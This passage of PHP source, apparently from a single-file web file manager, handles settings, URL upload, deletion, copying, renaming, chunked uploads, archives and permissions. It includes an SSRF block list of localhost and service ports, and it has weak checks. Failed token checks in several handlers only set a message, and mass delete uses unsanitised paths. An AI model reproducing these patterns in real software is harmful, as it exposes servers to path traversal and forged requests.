        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        function event_callback($message)
        {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path()
        {
            global $path, $fileinfo, $temp_file;
            return $path . "/" . basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if (!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
    $del = str_replace('/', '', fm_clean_path($_GET['del']));
    if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename'])));
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if (fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
        if (!$move) { //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if (!is_dir($from)) {
                $extension_suffix = '.' . $fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
                $fn_parts = pathinfo($fn_duplicate);
                $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
                $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
        } else {
            fm_set_msg(lng('Paths must be not equal'), 'alert');
        }
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }

    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    // Verify the token to ensure it's valid
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
        exit;
    }

    // Clean the download file path
    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl); // Prevent directory traversal attacks

    // Define the file path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    // Check if the file exists and is valid
    if ($dl != '' && is_file($path . '/' . $dl)) {
        // Close the session to prevent session locking
        if (session_status() === PHP_SESSION_ACTIVE) {
            session_write_close();
        }

        // Call the download function
        fm_download_file($path . '/' . $dl, $dl, 1024); // Download with a buffer size of 1024 bytes
        exit;
    } else {
        // Handle the case where the file is not found
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if (isset($_POST['token'])) {
        if (!verifyToken($_POST['token'])) {
            $response = array('status' => 'error', 'info' => "Invalid Token.");
            echo json_encode($response);
            exit();
        }
    } else {
        $response = array('status' => 'error', 'info' => "Token Missing.");
        echo json_encode($response);
        exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array(
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array(
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response);
        exit();
    }

    $targetPath = $path . $ds;
    if (is_writable($targetPath)) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if ($chunkTotal) {
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array(
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array(
                            'status'    => 'error',
                            'info' => "failed to open output stream",
                            'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                    );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists($fullPath)) {
                        $ext_1 = $ext ? '.' . $ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }
            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if (file_exists($fullPath)) {
                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array(
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array(
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach ($files as $file) {
        array_push($sanitized_files, fm_clean_path($file));
    }

    $files = $sanitized_files;

    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.' . $ext;
        }

        if ($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if ($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path, null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path, $path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file, $new_path)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file, $new_path)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt()
    {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if (FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function (&$x) {
                $x = ".$x";
            });
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple />
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook">
                            <div></div>
                            <div></div>
                            <div></div>
                        </div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles: "<?php echo getUploadExt() ?>",
            init: function() {
                this.on("sending", function(file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function(res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if (_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
<?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <div class="card" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input">
                        <label for="js-move-files" class="custom-control-label ms-2"><?php echo lng('Move') ?></label>
                    </p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
